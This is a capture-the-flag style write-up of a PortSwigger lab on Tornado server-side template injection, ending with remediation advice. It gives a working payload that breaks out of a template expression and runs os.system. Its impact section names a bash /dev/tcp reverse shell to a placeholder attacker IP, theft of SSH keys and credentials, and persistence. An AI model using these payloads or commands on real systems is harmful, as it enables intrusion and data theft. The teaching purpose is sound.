PlatformPortSwigger Web Security Academy
TopicServer-side template injection
LabBasic server-side template injection (code context)
DifficultyPractitioner
EngineTornado (Python)
GoalDelete morale.txt from Carlos’s home directory
ToolsBurp Suite (Proxy + Repeater)

Plaintext context vs code context#

In the basic case , our input became the whole template, so we could inject template syntax directly. Here it’s different: our input is dropped into an existing template expression, something like {{ our_input }}. That’s a code context. To inject, we first have to break out of the current expression with }}, then add our own.

Finding the injection point#

Log in as wiener:peter:

Log in with the provided credentials.
Log in with the provided credentials.

On My account, there’s a “preferred name” setting that controls how your name appears on the blog:

The preferred-name setting on the My Account page.
The preferred-name setting on the My Account page.

Submitting it sends a blog-post-author-display parameter whose value is user.name. That value is placed straight into a template expression on the server, which is our code context:

The change-blog-post-author-display request sets blog-post-author-display=user.name.
The change-blog-post-author-display request sets blog-post-author-display=user.name.

Your preferred name is rendered wherever your name appears, so we need somewhere it shows up. Open a blog post:

Open any blog post to reach the comments.
Open any blog post to reach the comments.

and leave a comment, which will be attributed to your (template-rendered) name:

Leave a comment so our rendered author name appears on the page.
Leave a comment so our rendered author name appears on the page.
The comment is submitted.
The comment is submitted.

Detecting the injection#

Now change the preferred name to break out of the expression and add an arithmetic probe. Set blog-post-author-display to:

user.name}}{{7*7}}

The }} closes the original {{ user.name }}, and {{7*7}} is our own expression.

Setting blog-post-author-display to user.name followed by a broken-out arithmetic probe.
Setting blog-post-author-display to user.name followed by a broken-out arithmetic probe.

Re-post the comment and view it. The author name now renders as Peter Wiener49: our 7*7 was evaluated, confirming template injection in a code context.

The comment author renders as Peter Wiener49: 7*7 was evaluated on the server.
The comment author renders as Peter Wiener49: 7*7 was evaluated on the server.

Identifying the engine and exploiting#

The {{ ... }} expression plus {% ... %} statement syntax points to Tornado (Python). Tornado lets us import modules, so we escalate to command execution. Set blog-post-author-display to:

user.name}}{% import os %}{{os.system('rm /home/carlos/morale.txt')

This breaks out with }}, imports os, then runs the delete command. The final }} is supplied by the original template.

The exploit payload: break out, import os, and call os.system to delete the target file.
The exploit payload: break out, import os, and call os.system to delete the target file.

Trigger the render again and the author name shows Peter Wiener0, because os.system returns 0 on success. The file is gone and the lab is solved.

The author renders as Peter Wiener0: os.system returned 0, the command ran, and morale.txt is deleted.
The author renders as Peter Wiener0: os.system returned 0, the command ran, and morale.txt is deleted.
Back on the blog, the lab is solved.
Back on the blog, the lab is solved.

Real-world impact#

Deleting morale.txt is just a safe stand-in: breaking out of the expression here gives arbitrary command execution on the server. In a real, authorized engagement the same foothold escalates fast, for example:

  • Interactive access — pipe a reverse shell back to your own box (a bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1 or nc one-liner) for a hands-on session instead of firing one command at a time.
  • Credential & key theft — read anything the web user can: /etc/passwd, application config and .env files, database credentials, cloud tokens, and SSH private keys such as ~/.ssh/id_rsa.
  • Lateral movement — reuse harvested SSH keys or passwords to log into the host or pivot to other machines on the network.
  • Persistence & exfiltration — append your key to ~/.ssh/authorized_keys, add a cron job, or stage sensitive data for exfiltration.

It’s the same command execution you used to solve the lab, just pointed at a real objective, which is why these bugs rate critical. Only ever against systems you are authorized to test.

Remediation#

  • Don’t put user input into templates as code. Pass it as data to a pre-defined template instead of concatenating it into an expression.
  • If dynamic templates are required, use a sandboxed engine that blocks imports and attribute access to dangerous objects.
  • Validate values like a preferred name against a strict allow-list.

A concrete, generic example, binding the name as data so it is only ever rendered as text, never evaluated:

# Unsafe: the name is concatenated into a template expression
render_template_string("{{ " + preferred_name + " }}")

# Safe: a fixed template renders the name as a plain value
render_template("author.html", name=preferred_name)

Key takeaways#

  • In a code context the payload must break out first (}}), then inject; a plain {{7*7}} on its own would just be printed as text.
  • A returned value like 49 (or 0 from os.system) appended to your name is the tell that the surrounding expression evaluated your input.
  • Tornado’s {% import os %} plus {{os.system(...)}} turns expression evaluation into full command execution.